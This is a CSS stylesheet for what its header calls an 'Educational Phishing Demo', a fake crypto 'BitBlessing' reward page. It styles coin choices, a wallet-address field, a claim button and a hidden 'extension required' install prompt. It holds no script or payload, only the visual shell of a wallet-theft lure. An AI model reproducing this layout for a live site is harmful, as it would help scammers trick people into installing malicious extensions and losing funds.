/* BitBlessing Styles - Educational Phishing Demo (DO NOT USE FOR REAL HARM) */
:root {
    --primary: #2d3748;
    --secondary: #718096;
    --accent: #4a5568;
    --white: #fff;
    --background: #f5f7fa;
    --shadow: 0 2px 8px rgba(0,0,0,0.06);
    --border: #e2e8f0;
}

* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
    background: var(--background);
    color: var(--primary);
    min-height: 100vh;
    padding: 15px;
}

.container {
    max-width: 1000px;
    margin: 0 auto;
}

header {
    text-align: center;
    padding: 20px 0;
}

.logo {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 10px;
}

.logo-icon {
    width: 40px;
    height: 40px;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 22px;
}

h1 {
    font-size: 1.8em;
    font-weight: 600;
}

.tagline {
    color: var(--secondary);
    font-size: 0.95em;
    margin-top: 5px;
}

.stats-bar {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
    gap: 12px;
    margin: 20px 0;
}

.stat-card {
    background: var(--white);
    padding: 15px;
    border-radius: 10px;
    text-align: center;
    border: 1px solid var(--border);
    box-shadow: var(--shadow);
}

.stat-value {
    font-size: 1.6em;
    font-weight: 600;
}

.stat-label {
    color: var(--secondary);
    font-size: 0.85em;
}

.main-card {
    background: var(--white);
    border-radius: 12px;
    padding: 25px;
    border: 1px solid var(--border);
    box-shadow: var(--shadow);
    margin-bottom: 20px;
}

.section-title {
    font-size: 1.3em;
    font-weight: 600;
    margin-bottom: 20px;
}

.crypto-grid {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(220px, 1fr));
    gap: 12px;
    margin-bottom: 25px;
}

.crypto-option {
    border: 2px solid var(--border);
    border-radius: 10px;
    padding: 15px;
    cursor: pointer;
    transition: all 0.2s ease;
    background: var(--white);
}

.crypto-option:hover {
    transform: scale(1.02);
    border-color: var(--accent);
}

.crypto-option.selected {
    border-color: var(--primary);
    background: #f7fafc;
}

.crypto-header {
    display: flex;
    align-items: center;
    gap: 10px;
    margin-bottom: 10px;
}

.crypto-icon {
    width: 35px;
    height: 35px;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 18px;
    color: var(--white);
}

.btc { background: #f7931a; }
.eth { background: #627eea; }
.usdt { background: #26a17b; }
.bnb { background: #f3ba2f; }

.crypto-symbol {
    font-size: 1.1em;
    font-weight: 600;
}

.crypto-full {
    font-size: 0.8em;
    color: var(--secondary);
}

.reward-amount {
    background: #edf2f7;
    padding: 5px 10px;
    border-radius: 5px;
    font-size: 0.85em;
}

.form-section {
    margin-top: 20px;
}

.form-label {
    display: block;
    margin-bottom: 8px;
    font-weight: 500;
    font-size: 0.95em;
}

.input-group {
    position: relative;
}

input[type="text"] {
    width: 100%;
    padding: 12px;
    border: 2px solid var(--border);
    border-radius: 8px;
    font-size: 0.9em;
    font-family: 'Courier New', monospace;
    transition: border-color 0.2s;
}

input[type="text"]:focus {
    outline: none;
    border-color: var(--accent);
}

.form-text {
    font-size: 0.8em;
    color: var(--secondary);
    margin-top: 5px;
}

.claim-btn {
    width: 100%;
    padding: 14px;
    background: var(--primary);
    color: var(--white);
    border: none;
    border-radius: 8px;
    font-size: 1em;
    font-weight: 600;
    cursor: pointer;
    transition: all 0.2s;
}

.claim-btn:hover:not(:disabled) {
    background: #1a202c;
    transform: translateY(-1px);
}

.claim-btn:disabled {
    opacity: 0.5;
    cursor: not-allowed;
}

.extension-required {
    display: none;
    background: #fff3cd;
    border: 1px solid #ffc107;
    padding: 15px;
    border-radius: 8px;
    margin-top: 15px;
}

.extension-required-title {
    font-weight: 600;
    color: #856404;
    display: flex;
    align-items: center;
    gap: 6px;
}

.extension-required p {
    color: #856404;
    font-size: 0.85em;
    line-height: 1.5;
}

.install-btn {
    width: 100%;
    padding: 10px;
    background: #ffc107;
    color: #000;
    border: none;
    border-radius: 6px;
    font-weight: 600;
    cursor: pointer;
    transition: all 0.2s;
}

.install-btn:hover {
    background: #ffb300;
}

.info-box {
    background: #f7fafc;
    border-left: 3px solid var(--accent);
    padding: 15px;
    border-radius: 6px;
    margin-top: 20px;
}

.info-title {
    font-weight: 600;
    margin-bottom: 10px;
}

.info-list {
    list-style: none;
    color: var(--secondary);
    line-height: 1.6;
}

.info-list li:before {
    content: "• ";
    color: var(--accent);
    margin-right: 6px;
}

.success-message, .error-message {
    padding: 12px;
    border-radius: 8px;
    margin-top: 15px;
    display: none;
    text-align: center;
    font-weight: 500;
}

.success-message {
    background: #c6f6d5;
    color: #22543d;
    border: 1px solid #9ae6b4;
}

.error-message {
    background: #fed7d7;
    color: #742a2a;
    border: 1px solid #fc8181;
}

footer {
    text-align: center;
    color: var(--secondary);
    margin-top: 30px;
    padding: 20px;
    font-size: 0.85em;
}

@media (max-width: 768px) {
    h1 { font-size: 1.6em; }
    .main-card { padding: 20px; }
    .crypto-grid { grid-template-columns: 1fr; }
    .stats-bar { grid-template-columns: 1fr; }
}